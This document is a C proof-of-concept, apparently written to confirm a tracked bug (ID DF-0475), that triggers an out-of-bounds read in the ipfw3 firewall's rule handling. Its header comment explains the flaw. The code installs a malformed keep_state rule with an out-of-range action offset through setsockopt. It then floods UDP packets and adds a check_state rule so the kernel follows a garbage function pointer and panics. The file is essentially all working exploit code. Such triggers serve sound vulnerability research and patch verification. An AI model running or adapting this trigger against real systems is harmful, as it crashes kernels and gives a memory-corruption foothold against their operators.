/*
 * DF-0475 - ipfw3 act_ofs OOB: full trigger via check_state/keep_state
 *
 * Confirms the OOB CONSEQUENCE of the missing act_ofs validation.
 * Requires: ipfw3 + ipfw3_basic loaded.
 *
 * Steps:
 *   1. Install rule 150 "proto udp + keep_state" with act_ofs=99 (OOB).
 *      This rule creates states whose ->stub points back at rule 150.
 *   2. Flood UDP packets to create states on all CPUs.
 *   3. Install rule 100 "check_state" (normal) -- checked BEFORE rule 150.
 *   4. Flood more UDP packets. When check_state finds a state created by
 *      rule 150, it sets *f = state->stub = rule150, returns CHK_STATE.
 *      ip_fw3.c:520-524 then does cmd = ACTION_PTR(rule150) = cmd+99 = OOB,
 *      reads OOB cmd->module/opcode, calls filter_funcs[OOB_m][OOB_o].
 *      On default GENERIC this panics (NULL or garbage func pointer, or
 *      KASSERT if INVARIANTS catch it first).
 *
 * Build:  cc -o df0475_trigger df0475_trigger.c
 * Run:    ./df0475_trigger
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define IP_FW_X    49
#define IP_FW_ADD  50
struct ipfw_insn { uint8_t o,l; uint16_t a1; uint8_t m,a3; uint16_t a2; } __packed;
struct ip_fw_x_header { uint16_t op, pad; } __packed;
struct ipfw_ioc_rule {
    uint16_t act_ofs, cmd_len, rulenum;
    uint8_t set, insert; uint32_t sets;
    uint64_t pcnt, bcnt; uint32_t ts;
    struct ipfw_insn cmd[8];
} __packed;
struct msg { struct ip_fw_x_header h; struct ipfw_ioc_rule r; } __packed;

#define O_BASIC_PROTO       10
#define O_BASIC_KEEP_STATE  24
#define O_BASIC_CHECK_STATE 25
#define O_BASIC_ACCEPT       0

static int install(int s, int rulenum, int act_ofs, int cmd_len, struct ipfw_insn *cmds) {
    struct msg m; int i;
    memset(&m, 0, sizeof(m));
    m.h.op = IP_FW_ADD;
    m.r.act_ofs = act_ofs;
    m.r.cmd_len = cmd_len;
    m.r.rulenum = rulenum;
    for (i = 0; i < cmd_len; i++) m.r.cmd[i] = cmds[i];
    if (setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m)) < 0) {
        fprintf(stderr, "install rule %d: %s\n", rulenum, strerror(errno));
        return -1;
    }
    printf("[+] installed rule %d (act_ofs=%d cmd_len=%d)\n", rulenum, act_ofs, cmd_len);
    return 0;
}

int main(void) {
    int s, u, rc, i;
    struct sockaddr_in dst;
    struct ipfw_insn cmds[4];

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s<0){perror("socket");return 2;}

    /* Rule 150: proto udp + keep_state + accept, with OOB act_ofs=99 */
    memset(cmds, 0, sizeof(cmds));
    cmds[0].o = O_BASIC_PROTO;      cmds[0].l = 2; cmds[0].m = 0; cmds[0].a1 = 17;
    cmds[1].o = O_BASIC_KEEP_STATE; cmds[1].l = 2; cmds[1].m = 0;
    cmds[2].o = O_BASIC_ACCEPT;     cmds[2].l = 2; cmds[2].m = 0;
    /* act_ofs points to the action (accept at cmd[2] = word 4). But we set it to 99 (OOB). */
    install(s, 150, 99 /*OOB act_ofs*/, 6 /*3 insns * 2 words*/, cmds);

    printf("[*] flooding 200 UDP packets to create states on all CPUs...\n");
    fflush(stdout);
    u = socket(AF_INET, SOCK_DGRAM, 0);
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_port   = htons(9999);
    inet_aton("10.0.2.2", &dst.sin_addr);
    for (i = 0; i < 200; i++) {
        dst.sin_port = htons(10000 + (i % 1000));
        rc = sendto(u, "x", 1, 0, (struct sockaddr*)&dst, sizeof(dst));
        if (rc < 0 && errno != EACCES) { printf("sendto[%d]: %s\n", i, strerror(errno)); }
    }
    printf("[+] flood done. Installing check_state rule 100...\n");
    fflush(stdout);

    /* Rule 100: check_state (normal). Checked BEFORE rule 150. */
    memset(cmds, 0, sizeof(cmds));
    cmds[0].o = O_BASIC_CHECK_STATE; cmds[0].l = 2; cmds[0].m = 0;
    install(s, 100, 0 /*normal act_ofs*/, 2 /*1 insn*/, cmds);

    printf("[*] flooding 200 more UDP packets to trigger CHK_STATE -> ACTION_PTR OOB...\n");
    printf("[*] if bug fires, kernel panics via OOB filter_funcs call.\n");
    fflush(stdout);
    for (i = 0; i < 200; i++) {
        dst.sin_port = htons(10000 + (i % 1000));  /* same flows as before */
        rc = sendto(u, "x", 1, 0, (struct sockaddr*)&dst, sizeof(dst));
        if (rc < 0 && errno != EACCES) { printf("sendto2[%d]: %s\n", i, strerror(errno)); }
    }
    printf("[!] all packets sent - OOB did not panic on this run\n");
    printf("[!] (state lookup is per-CPU; the trigger may need CPU pinning)\n");
    close(u);
    close(s);
    return 0;
}
